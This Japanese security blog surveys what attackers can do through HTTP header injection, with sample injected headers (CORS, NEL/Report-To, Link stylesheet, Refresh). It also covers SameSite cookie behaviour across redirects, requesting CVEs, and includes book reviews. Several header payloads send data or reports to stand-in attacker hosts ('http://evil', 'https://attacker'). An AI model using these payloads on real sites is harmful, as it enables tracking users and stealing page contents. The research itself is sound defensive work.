HTTPヘッダについての調査(1/?)

HTTPヘッダインジェクションにおいて使えるヘッダについて調べてみた。ヘッダ内の挿入箇所から改行2つで応答ボディに抜けられないことはしばしばあって、そういう場合は基本的にヘッダだけで何とかしなければならない。そういう状況が主な想定ケースであるが、それに留まらず一般論としてHTTPヘッダにどれだけの能力があるのかを考えてみたい。

このテーマについては、2017年にWebLogicのバグを報告した際に調べたことがあり、まとまった調査としては4年ぶりとなる。今回の結果のうちNELヘッダについては既に別記事に書いた。

ヘッダで何ができるかは応答のステータスにもよるが、以下では簡単のためステータス200を前提とし、HTTPリダイレクト(ステータス30x)で動くものはその旨記載した。調べた結果、現時点では全く使えないものには[×]印を付けている。

書いていったら結構なボリュームになってしまったので、とりあえず書き終わった分だけを以下に公開する(続きはまた改めて記事にしたい)。

CORS (Access-Control-*)

まずは、ヘッダが入るページのボディに何らかの機密情報が含まれているとして、それを取得したい。そのためには、下のようにCORSのヘッダを入れてやり、それをXHRやFetchすればよい。

Access-Control-Allow-Origin: http://evil
Access-Control-Allow-Credentials: true

GETでもPOSTでも送れる万能な方法だが、現在はこの方法だけでボディが取れるとは言い切れなくなっている。

というのは、

  • SameSite=LaxCookieが増えてきた。
  • クロスサイトのXHRやFetchではLaxのCookieが送られない。
  • LaxのCookieが無いとヘッダインジェクションできない or 機密情報が応答に出ないことがある。

という状況があるため。

CookieがLaxの時のボディの取得については、以下で他の方法も検討する。

キャッシュ (Cache-Control)

CookieがLaxの時に、キャッシュを使ってボディが取得できるかを考える。

クロスサイトであっても、GETのTop level navigationであればLaxのCookieも送信される。その際に以下のヘッダを入れる(GETでヘッダインジェクションできることが前提になる)。

Cache-Control: public, max-age=100, immutable

この応答がリバースプロキシなどにキャッシュされれば、攻撃者はそのキャッシュを取れるだろう。

ブラウザキャッシュも攻撃対象になりうる。例えばTop level navigationで以下のヘッダを入れる。

Cache-Control: private, max-age=100
Access-Control-Allow-Origin: http://evil
Access-Control-Allow-Credentials: true

このブラウザキャッシュを攻撃者のページからfetch/XHRすればよい。実際IEではこの方法でブラウザキャッシュが取れる。

だが他のブラウザでは簡単にはいかない。モダンブラウザは同じURLであっても要求の文脈によりキャッシュを使い分けるためだ。調べてみたら「Double keying」というキャッシュ方式のFirefoxでは攻撃の余地が少しはあることが分かった。

概要を書くと、Firefoxでは下の2つがキャッシュのキーになる*1

① キャッシュ対象リソースのURL
② 最上位ページ(window.top)のサイト

要は、②の最上位ページのサイトが一致しなければキャッシュを読めない。逆に言えば、例えば対象サイトのどこかのページに攻撃者のiframeを入れられれば、仕込んでおいたキャッシュにiframe内からfetchでリーチできる。リーチできれば、そのキャッシュに入れておいたAccess-Control-*のおかげで中身が取れる。

前段の「対象サイトに攻撃者のiframeが入る」*2というのは厳しい条件だ。Chromeなどは「Triple keying」というキャッシュキーの方式であり、さらに難しい。

なお、本記事ではあまり触れないが、リバースプロキシなどのサーバ側のキャッシュは、中身を奪うだけではなく汚染する対象にもなりうる。その文脈では他人にURLを踏ませる必要はないわけで、CookieのSameSiteなど面倒なことは考えなくてよくなる。

Network Error Logging (NEL, Report-To)

前回記事を参照。下のようなヘッダを入れると、その後にユーザがアクセスするURLを継続的に取得できるようになる。

NEL: {"report_to":"test", "max_age":1000, "success_fraction":1}
Report-To: {"group":"test", "max_age":1000, "endpoints":[{"url":"https://evil"}]}

このヘッダはHTTPリダイレクト(30x)でも有効だ。ただし、NELにはChromeのみが対応しており、HTTPSでなければならないという制約がある。

CSS (Link)

HTMLのLinkタグ(の一部)はヘッダにも書ける。

Link: <URL>; rel=linktype

Relの値の種類は、HTML Spec, MDN, IANAを参照。ざっと見た結果、LinkヘッダでURLの取得処理が走るrelは以下のみだった*3

Chrome prefetch, preload, modulepreload
Safari preload
Firefox prefetch, preload, stylesheet, next
IE 無し

この項では、Firefoxだけが対応しているrel=stylesheetを取り上げる。

名前のとおり、これを使うとヘッダからページにCSSが入れられるため、ページの見た目を改竄できる。

Link: <data:,body{display:none} html::after{content:"hello"}>; rel=stylesheet

見た目の改竄以外にも、CSSが入るので属性セレクタやfontなどを使いボディの一部を抜き取れるかもしれない。

もう1つありうるのはCSSXSSだ。ヘッダが入るページそのものではなく、そこを起点にして同じオリジンの別のページ(下のanothePage.cgi)の中身を部分的に取れる可能性がある。

Link: </anotherPage.cgi>; rel=stylesheet

ブラウザは、同じオリジンのリソースはtext/htmlなどであってもCSSとして解釈するため*4、理屈上はCSSXSSが成立する。CookieもSameSiteのものを含めて送信される。しかしFirefoxCSSパーサは厳密なので、別のページの情報を取れる状況はかなり限定されるだろう。

なお、文字コードを使ったCSSXSSの余地はあるかもしれない(UTF-16の例)。ブラウザはLinkヘッダに付いているcharset指定を無視するが、文字コード指定が無い時に、親のページから子に文字コードが継承される仕組みは今もあるためだ。

[×] JavaScript/HTML (Link)

ヘッダでCSSが入るならば、JavaScriptはどうなのか... ということで試してみた。

まずはChromeが対応しているLink: rel=modulepreload仕様)だが、名前のとおりpreloadするだけでJSが実行されることはないようだ(rel=preload; as=scriptも同じ)。

過去にはHTML Importsのための<link rel=import>があった。いずれヘッダでも使えるようになったりしないよな... と思っているうちに、HTML Imports仕様自体が消えてしまった。

もう一つ、今回の調査で知ったのだが、Link: rel=serviceworkerもあったらしい(Suikawiki, Jxck blog)。そもそもService Workerの登録には制約が多いため使いづらいのではあるが、これもHTML仕様から消えてしまい現在は解釈されない。

という訳で、現時点では、ヘッダで正面切ってJS/HTMLを入れ込む方法は無いようだ。ただ、上記のようにLinkは新しいものが出ては消えていく状況なので、将来的には何かまた出て来ないとも限らない。

リダイレクタ (Refresh, Location)

ステータス200などであればRefreshヘッダをオープンリダイレクトに使える。

Refresh: 0; url=URL

一部のブラウザでは、RefreshLocationjavascript:data:のURLを入れてXSSできた時代もあった。今もChrome, Firefox, Safariではdata:にリダイレクトできるが(Top level navigationできるのはSafariのみ)、そのオリジンはnullになる。なので、現在ではこれらのヘッダは単なるリダイレクタくらいの用途しかない。

HTTPリダイレクト(30x)の時はLocationを使うことになる。Locationヘッダが複数ある時、IESafariは先頭のものを使い、ChromeFirefoxプロトコルエラーとする。ちなみに、単一の空のLocationがあると30xのボディをレンダリングするChromeの挙動は今も変わっていない。


とりあえず第1回として書いた分だけ公開した。残りの分は別途記事にしたい。

*1:厳密には、キャッシュのキーには、クレデンシャル有り無しのフラグなども含まれる。

*2:必ずしもiframeである必要はない。embedされたSVGなどでもOKのはず。

*3:HTTPでコンテンツを取得しないdns-prefetchなどは除く。FirefoxChromeソースコードも見たが、他に無さそうである。

*4:X-Content-Type-Options: nosniffは無い前提。

リダイレクトとSame-Site Cookie

調べものをしている中で、今さらながらSame-Site Cookieの仕様書を斜め読みした。

ググって最初に見つけた仕様の中で、same-siteは下のように定義されていた。

A request is "same-site" if its target's URI's origin's registrable domain is an exact match for the request's initiator's "site for cookies", and "cross-site" otherwise.

Same-site Cookies draft-west-first-party-cookies-07 2.1 (April 6, 2016)

対象(target)と始点(initiator)のサイトが一致すればsame-siteということになる。

リダイレクトを挟むとどうなるか

上の仕様を読んで疑問に思ったのは、始点と対象の間にリダイレクトが挟まっていたらどうなるかということ。

① A上にあるBへのリンクをクリック

Aサイトのページ <a href="https://site-B/">Bサイトへ</a>

② Bは302を返しAにリダイレクト

HTTP/1.1 302 Found
Location: https://site-A/donateMoney?to=Bob&amount=10000

③ リダイレクトによりAに返ってくる

https://site-A/donateMoney?to=Bob&amount=10000

上で引用した定義に従うと、③のリクエストは始点である①のページとサイトが同じなのでsame-siteになり、StrictやLaxのCookieが送られてしまう。Googleの検索結果のページを例にすれば、検索結果から別のサイトに遷移すると、リダイレクトを使ってGoogleのサイトの任意のURLに対してGETのsame-siteなリクエストを打ち込めることになる。

POSTであっても同じで、仮にAサイト上にPOSTでBにsubmitするフォームがあるとすると、①でAからBにsubmitし、②でBがステータス307を返すと、③でsame-siteのPOSTのリクエストがAに送られてしまう。POSTのボディについてはいじれないが、クエリストリングとボディのパラメータを区別しないことはままあるので、そうであればsame-siteによるCSRF対策は破れることになる。

実際のブラウザで調べると、Chromeはそのとおりの挙動だった。下は各ブラウザにおいて、最後のAへのリクエストで送られるCookieを表にしたもの。

ブラウザ GET A -> B -> A POST A -> B -> A POST A -> A -> B -> A バージョン
Chrome Strict/Lax/None Strict/Lax/None Strict/Lax/None 92.0.4515.131
IE Strict/Lax/None None Strict/Lax/None Windows10 21H1
(OS Build 19043.1165)
Firefox Lax/None None None 91.0.1
Safari Lax/None None None 14.1.2 (15611.3.10.1.5)

このようにsame-siteの定義はブラウザによってブレがある。Chromeは上の仕様通り実装されており、ある意味で具合が良くない。Firefox, Safariは始点との間にリダイレクトがあるとsame-siteとはみなさない。IEはまた少し違う。

CSRF対策をsame-siteのみに頼るのはそもそもどうなのかという話もあり微妙ではあるが、仕様かChromeのバグとして報告しようかと思って、もう少し調べてみた。分かりやすい問題なので、既に誰かが報告しているんじゃなかと思ったら、やはりその通りだった。

Issue 1221316: SameSite context type should consider redirect chain

仕様自体も、上記の私が引用していたのは実は古いもので、最新のものには以下のPRが反映されていて、リダイレクトが考慮されていることが分かった。

Consider redirects when defining same-site by englehardt - Pull Request #1348 - httpwg/http-extensions - GitHub

という訳で、しばらくしたらChromeFirefoxSafariと同様に、始点と終点だけではなく間のリダイレクトも考慮した上で、same-site判定することになるのだろう。

Fetchはどうか

以上はNavigationの話であったが、次はJSでのfetch()におけるリダイレクトについて見てみたい。

① AのページからBをfetch

② Bは302を返しAにリダイレクト

③ リダイレクトによりAに返ってくる

という流れ。

下手をすると、AのページはBのリソースをfetchしているつもりだが、実はauthenticatedなAのリソースをつかんでしまうことになり、具合が悪い。

どうなるのかの結論を言うと、リダイレクトでオリジンが変わる時に内部的にtainted origin flagが立てられる。すると、③のリクエストのOriginはnullになり、AからAをfetchしているにも関わらず③の応答にAccess-Control-Allow-Origin: nullが無いと応答が取れないはめになる。初期の頃のfetch仕様からこのような動作が規定されていたようで、全てのブラウザで同じ挙動だった。

送られるCookieについては、先のNavigationのリダイレクトと大体同じになる。つまり現状のChromeでは、③はsame-siteとみなされて、Strictを含めたCookieが送られる。一方でFirefoxでは③にはNoneのCookieのみが送られる(Top level navigationではないのでLaxのCookieは送られない)。Safariでは、3rd party cookieの扱いのせいだと思われるが、③にはCookieが送られない。

なかなか奥が深い...

読書

夏と言えば…ということで、ホラー小説です。

★★ 読んだことが無い作者のものをということで選んでみた。田舎の因習もののホラー。気味悪さはあるが、もう少し怖さが欲しかった。

★★★★★ リカは数年前に読んだ。グロありのサイコホラー。男が出会いサイトでとんでもない怪物と出会ってしまうという話。読んでいる途中で、現実離れした怪物キャラに若干笑ってしまったが、最後でドーンと奈落に突き落とされる。こんな本は読まなければよかった、という気分にさせてくれる本。

★★★ 今回読んだリターンはリカの続編。現実離れした感じはやっぱりある&リカほどのインパクトが無いが、怪物を追い詰めていく緊迫感がある。あとラストはやはり気味悪い。怪物のキャラ作りの面で、盲目的な部分と、理知的な部分の折り合いが難しいなと思った。

Network Error Logging

HTTPヘッダインジェクションにおいて何ができるか?というのを数年ぶりに整理している。

整理作業の中で見つけたものの1つは、ネットワークエラーを検出して報告するNEL(Network Error Logging)という仕組み。

以下はNELの応答ヘッダの例。

NEL: {"report_to":"test", "max_age":1000, "success_fraction":1}
Report-To: {"group":"test", "max_age":1000, "endpoints":[{"url":"https://attacker"}]}

上のようにReport-Toヘッダと組合せて使う。

このようなヘッダが与えられると、その時点からmax_ageの時間内に、そのサイトにアクセスしたURLや発生したネットワークエラー等が、Report-ToendpointsのURLに報告されるようになる。通常報告されるのはエラーのみだが、success_fractionを1にすると正常なアクセスも報告に含まれるようになる(ASnoKaze blogにもう少し詳細が書いてある)。

以下がendpointに送られる報告の例。

{
    "age": 35440,
    "body": {
        "elapsed_time": 52,
        "method": "GET",
        "phase": "application",
        "protocol": "h2",
        "referrer": "https://(ホスト名)/test/normal.php",
        "sampling_fraction": 1,
        "server_ip": "(IPアドレス)",
        "status_code": 200,
        "type": "ok"
    },
    "type": "network-error",
    "url": "https://(ホスト名)/test/nrml/1.php?a=123",
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"
}

攻撃の観点で言うと、NELヘッダを突っ込まれると、その後にそのサイトでアクセスしたURL(クエリストリングを含む)を継続的に取られてしまうことになる。報告には要求/応答の中身は含まれないが、仕様上は要求/応答ヘッダも報告に含めるオプションがあり、それを使えばCookie等も報告に含められるかもしれない。しかし、このオプションはセキュリティ上の理由により現状のChromeには実装されていない模様(Chromium bug)。

ちなみにNELヘッダはステータス30Xでも解釈される。HTTPSが必要であり、また現状はChromeのみで利用できる、という制約がある。他のブラウザの意向は、Chrome Platform StatusのConsensusではFirefoxが「Positive」になっているが、Mozillaのチケットではネガティブ寄りの様子見といった感じになっている。

MITREからCVE番号を取る

ソフトウェア製品の脆弱性を開発元に報告しても、CVE番号を振ってくれないことがしばしばある。

そういう時は、報告者自身でもMITREにCVEを請求できる。

CVE - Common Vulnerabilities and Exposures (CVE)

昨年夏に、Laravel(PHPのWebアプリケーションフレームワーク)の脆弱性をいくつか発見して開発元に直接報告したが、CVEを振ってくれなかったため、上のリンクのフォームから請求してみた。フォームの「Affected component」「Attack vector」「Suggested description of the vulnerability」等々を英語で書くのは手間と言えば手間だが、そこまでたいしたことはない。

番号請求してから2週間弱で、以下の3つのCVEの割り当てを受けた。

CVE-2020-24940
CVE-2020-24941
CVE-2020-25128

私の場合は、3つとも開発元が脆弱性として認めて修正/公開したものなので、フォームに記入した以上の情報は求められずにすんなりと進んだのかも。開発元が脆弱性として扱っていない場合でもCVEは請求できるようだが、その場合はもっと時間が掛かるのかもしれない。

IPAの早期警戒パートナーシップでは、日本語で報告できるし、CVE番号を振ってくれるし、JVNでCreditもしてくれるのでとても楽であるが、開発元とのやり取りがうまくいかず、結果として修正されずに途中でスタックするケースもある。IPAに報告しつつ自分で開発元と調整することもできるが、開発元とIPAの2箇所とのやり取りが生じるのが手間と言えば手間である。

JPCERTはCNA(CVE Numbering Authority)なので、JPCERTに依頼してCVEを発行してもらうこともできるのかもしれない。しかし脆弱性報告者という立場でもCVEの請求依頼を出せるかなどは分からない。

読書

最近は、本読んで、テレビで五輪見て…、という生活になってきた。

★★★★ 御嶽山(みたけさん)の神官の屋敷を舞台とした、霊的な不思議な昔話。霊的と言っても、呪いだ何だというホラーではなく、御岳山の自然と神と人間の、厳かだったり、切ない気持ちにさせる話。昔「御嶽山に行く」と言っていた外国人がいて、「何故そこに?」と思ったことがあるが、この本を読むと一度行ってみたくなる。

★★★★★ 時代物の短編集。時代小説の面白さの一つは、現代よりも厳しい規範の社会の中で、色々と葛藤が生じるところにある。作者は、江戸時代の経済/政治/社会の制度や風習をネタに、現代にも通じる人間臭いストーリーを作り上げる人。制度や風習のネタ自体の面白さもあるし、そこから生じる葛藤を織り込んだストーリーを作る構想力もすごい。

★★★ 中国/印度/日本の歴史小説短編。補陀落渡海記が印象深い。補陀落渡海は、小舟の中に自らを閉じ込めて海を漂い、補陀落(南方にある浄土)を目指すという修行。小説は、決心がつかぬまま渡海にのぞむ、補陀落寺の老年の住職が主人公。渡海への恐怖から我を失う様を描く悲劇的な話だが、周囲の雰囲気に押されて渡海せざるをえなくなる様や、住職でありながら補陀落に渡り救われることを信じていない様は、喜劇的でもある。

★★ 違法捜査も辞さないマル暴刑事とその部下が、暴力団同士の抗争を止める話。対立組織を追い詰めていくところは面白い。だが、ダーティーヒーローである刑事や、その刑事が癒着している暴力団がイイ人でカッコよすぎる。キャラが類型的というか。映画とかには向くかなと思ったら映画化されているらしい。

★★★ 直木賞作品「邂逅の森」の作者によるマタギ小説。若い女性編集者が主人公で、現代における自然(熊)と人間の共生をテーマにしている。舞台が現代であり、人間同士の自然観の対立と理解が話のメインであるため、原始的な力とかロマンを感じさせる「邂逅」程の衝撃力はない。

★★★ 悪辣な企業経営者の娘と孫が拉致される。現在の外国人労働者問題を絡めたミステリー。偶然だがこの本を読んだ日の日経社説は「技能実習は速やかに廃止を」だった。

★ 殺し屋の話。読了できず。若い頃なら読めたかも。

★ 男と女の関係。これも最後まで読めず。

★★★★★ 恋愛小説とホラー小説を多く書く作家によるサイコホラー短編集。読んだことがある作品もあったが、「家鳴り」等はもう一度読んでも気持ち悪い。

★★★★ 「夜市」で日本ホラー小説大賞を取った作家。ゆったりした独特の雰囲気がある幻想的な世界を描く人。本作は「ネオ江戸ファンタジー小説」だそう。C3POみたいな金色のロボットが江戸時代に現れるというキテレツな設定だが面白い。